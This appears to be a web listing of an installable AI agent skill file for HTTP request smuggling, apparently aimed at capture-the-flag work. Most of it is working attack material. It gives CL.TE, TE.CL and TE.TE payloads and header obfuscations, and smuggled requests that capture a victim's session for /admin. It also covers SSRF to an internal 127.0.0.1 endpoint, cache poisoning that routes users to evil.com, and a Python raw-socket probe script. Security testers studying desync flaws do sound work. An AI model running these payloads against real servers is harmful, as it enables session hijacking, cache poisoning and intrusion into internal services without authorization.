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HTTP Request Smuggling (HRS) / Desync attack detection and exploitation. Covers CL.TE, TE.CL, TE.TE detection, payload crafting, and chaining with SSRF/cache poisoning. Use when front-end/back-end architecture is suspected or when HTTP parsing discrepancies exist.
Codex 또는 Claude로 설치 이 Prompt를 복사해 Codex, Claude 또는 다른 어시스턴트에 붙여 넣으면 Skill 페이지를 검토하고 설치를 진행할 수 있습니다.
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| name | http-request-smuggling |
| description | HTTP Request Smuggling (HRS) / Desync attack detection and exploitation. Covers CL.TE, TE.CL, TE.TE detection, payload crafting, and chaining with SSRF/cache poisoning. Use when front-end/back-end architecture is suspected or when HTTP parsing discrepancies exist. |
| metadata | {"hermes":{"category":"web-security","tags":["http","desync","smuggling","cache-poisoning","ssrf","ctf"]}} |
| platforms | ["linux","macos","windows"] |
Activate this skill when:
HTTP Request Smuggling exploits disagreements between front-end (proxy/WAF) and back-end (app server) about where one request ends and the next begins.
| Variant | Front-end sees | Back-end sees | Trigger condition |
|---|---|---|---|
| CL.TE | Content-Length | Transfer-Encoding | Front-end uses CL; back-end uses TE |
| TE.CL | Transfer-Encoding | Content-Length | Front-end uses TE; back-end uses CL |
| TE.TE | Transfer-Encoding | Transfer-Encoding | Both use TE, but parse differently (obfuscated TE header) |
CL.TE Detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Length: 15
x=1
0
TE.CL Detection:
POST / HTTP/1.1
Host: target.com
Content-Length: 6
Transfer-Encoding: chunked
0
X
TE.TE Detection (obfuscated header):
POST / HTTP/1.1
Host: target.com
Content-Length: 4
Transfer-Encoding: xchunked
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Length: 15
x=1
0
Valid obfuscations for TE.TE:
Transfer-Encoding: chunke\xd (byte-smuggling)Transfer-Encoding: chunked\x00 (null-prefix)Transfer-Encoding: chunked (leading space)Transfer-Encoding:\tchunked (tab instead of space)Transfer-Encoding: Chunked (case variation, depends on server)Identify if a reverse proxy / CDN exists:
Via, X-Cache, X-Forwarded-For, CF-RAY, Fastly-DebugTRACE or OPTIONS responses reveal proxy chainSend the detection payloads above. A time-delay or differential response indicates desync:
Once a delay is observed, confirm by "poisoning" the back-end connection:
Smuggle a request that captures the next user's session cookie:
POST / HTTP/1.1
Host: target.com
Content-Length: 250
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X-Ignore: X
The back-end sees the smuggled GET /admin followed by the next legitimate request, potentially associating the admin response with the victim's session.
POST /api/forward HTTP/1.1
Host: target.com
Content-Length: 60
Transfer-Encoding: chunked
0
GET http://127.0.0.1:8080/internal/flag HTTP/1.1
X-Foo: x
Smuggle a request that causes the back-end to cache a malicious response:
POST / HTTP/1.1
Host: target.com
Content-Length: 80
Transfer-Encoding: chunked
0
GET /static/app.js HTTP/1.1
Host: evil.com
X-Foo: X
If the cache keys on the URL but the back-end uses the Host header from the smuggled request, subsequent users may load content from evil.com.
/admin, /flag, /internal behind the proxyIn HTTP/2→HTTP/1.1 downgrade scenarios:
:authority, :path) become HTTP/1.1 headerscontent-length or transfer-encoding via HTTP/2 header injectionh2c-smuggler or manually craft HTTP/2 frames| Front-end | Back-end | Likely Variant | Test Priority |
|---|---|---|---|
| Nginx | Apache/PHP | CL.TE | 1 |
| Nginx | Gunicorn | TE.CL | 2 |
| Cloudflare | Any | TE.TE (obfuscation) | 3 |
| AWS ALB | Any | H2.CL | 4 |
python_exec with requests — Write custom desync probes; CTFs rarely have httpx-smuggler pre-installedsmuggler (if available): python smuggler.py -u http://targethttp-request-smuggler (Burp extension) — not available in CLI, use Python scripts insteadimport socket, ssl
def desync_probe(host, port, payload, use_ssl=False):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
if use_ssl:
sock = ssl.wrap_socket(sock)
sock.connect((host, port))
sock.send(payload.encode())
# Read both responses
data = b""
sock.settimeout(5)
try:
while True:
chunk = sock.recv(4096)
if not chunk:
break
data += chunk
except socket.timeout:
pass
return data.decode(errors="ignore")
Connection: keep-alive and no premature socket closure.\r\n. 0\r\n\r\n terminates the body. A single \n instead of \r\n will fail silently.Transfer-Encoding headers. If detection fails, try header obfuscation (see TE.TE section).